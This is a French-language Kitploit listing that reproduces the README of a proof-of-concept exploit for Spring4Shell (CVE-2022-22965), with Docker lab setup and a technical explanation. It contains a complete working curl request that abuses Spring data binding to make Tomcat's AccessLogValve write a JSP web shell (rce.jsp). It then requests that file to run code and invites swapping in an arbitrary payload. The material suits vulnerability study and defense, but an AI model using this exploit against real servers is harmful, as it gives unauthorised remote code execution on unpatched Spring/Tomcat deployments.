Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22965-PoC — Proof-of-concept exploit for CVE-2022-22965 (Spring4Shell) démontrant l'exécution de code à distance via la manipulation de Tomcat AccessLogValve. Comprend un environnement de reproduction basé sur Docker et une analyse technique détaillée. | Kitploit
Outils/GitHubGitHub/kirill89/cve-2022-22965-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Proof-of-concept exploit for CVE-2022-22965 (Spring4Shell) démontrant l'exécution de code à distance via la manipulation de Tomcat AccessLogValve. Comprend un environnement de reproduction basé sur Docker et une analyse technique détaillée.

Voir le dépôt
32211il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-22965 PoC

Exemple minimal pour reproduire la faille RCE Spring CVE-2022-22965.

Exécution avec Docker Compose

  1. Construisez l'application avec Docker Compose
    root@kitploit:~
    docker-compose up --build
    
  2. Pour tester l'application, accédez à http://localhost:8080/handling-form-submission-complete/greeting
  3. Exécutez l'exploit
    root@kitploit:~
    ./exploits/run.sh
    
  4. L'exploit va créer le fichier rce.jsp dans webapps/handling-form-submission-complete sur le serveur web.
  5. Utilisez l'exploit Accédez à http://localhost:8080/handling-form-submission-complete/rce.jsp

Autre méthode (orientée débogage)

  1. Lancez le serveur Tomcat dans Docker

    root@kitploit:~
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0

Ajoutez -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" si vous souhaitez déboguer à distance.

  • Construisez le projet

    root@kitploit:~
    ./mvnw install
    
  • Déployez l'application

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  • Écrivez l'exploit

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    L'exploit va créer le fichier rce.jsp dans webapps/handling-form-submission-complete sur le serveur web.

  • Utilisez l'exploit

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Vous verrez alors 123 dans le terminal du conteneur. Remplacez System.out.println(123) par votre charge utile (payload) pour exécuter du code arbitraire.

  • Brève explication technique

    1. Spring sait lier les champs de formulaire à un objet Java. Dans notre exemple, GreetingController gère les requêtes POST sur le point de terminaison /greeting et lie les champs du formulaire à l'objet Greeting.
    2. Il supporte également la liaison de champs imbriqués (par exemple user.info.firstname). Voir AbstractNestablePropertyAccessor pour les références.
    3. Dans notre exemple, la classe Greeting a deux champs id et content, mais en réalité elle possède aussi une référence à l'objet Class. Nous pouvons utiliser class.module.classLoader comme clé de données de formulaire pour accéder au chargeur de classes.
    4. Dans le correctif, on voit que le principal changement a été de restreindre l'accès à la plupart des propriétés de l'objet Class, y compris la propriété module.
    5. Ce comportement nous permet de définir des propriétés publiques de classes accessibles via une chaîne de références imbriquées à partir de la classe Greeting. Rien d'autre. Dans la plupart des cas, ce n'est même pas dangereux car aucune classe avec des champs publics n'est accessible même depuis class.module.classLoader..
    6. Cela devient un problème sur le serveur Tomcat car le chargeur de classes y possède un accesseur getResources qui nous permet de continuer la chaîne de références et d'accéder à l'une des instances de la classe AccessLogValve.
    7. Cette classe est conçue pour écrire des journaux. Nous modifions certaines propriétés pour lui faire écrire des fichiers avec le nom et le contenu de notre choix. Nous avons donc une écriture de fichier arbitraire à ce stade.
    8. Nous créons un fichier jsp à la racine du dossier de l'application avec la charge utile malveillante. Étant donné que les fichiers jsp sont automatiquement exécutés par Tomcat, nous pouvons y naviguer dans le navigateur et finalement exécuter la charge utile. Nous avons donc une exécution de code à distance (RCE).

    Conditions

    L'exploit ne fonctionne que sur Tomcat car il possède un chargeur de classes spécial. Cependant, une chaîne de références similaire peut exister sur d'autres serveurs d'applications web. Elle n'a tout simplement pas encore été découverte.

    L'exploit nécessite Java 9 ou supérieur car la propriété module a été ajoutée dans Java 9.

    Références

    • La partie serveur est basée sur le manuel pas à pas de https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
    • La partie exploit est basée sur le script https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
    • L'avis Snyk concernant la vulnérabilité est disponible ici : https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
    Télécharger l’outil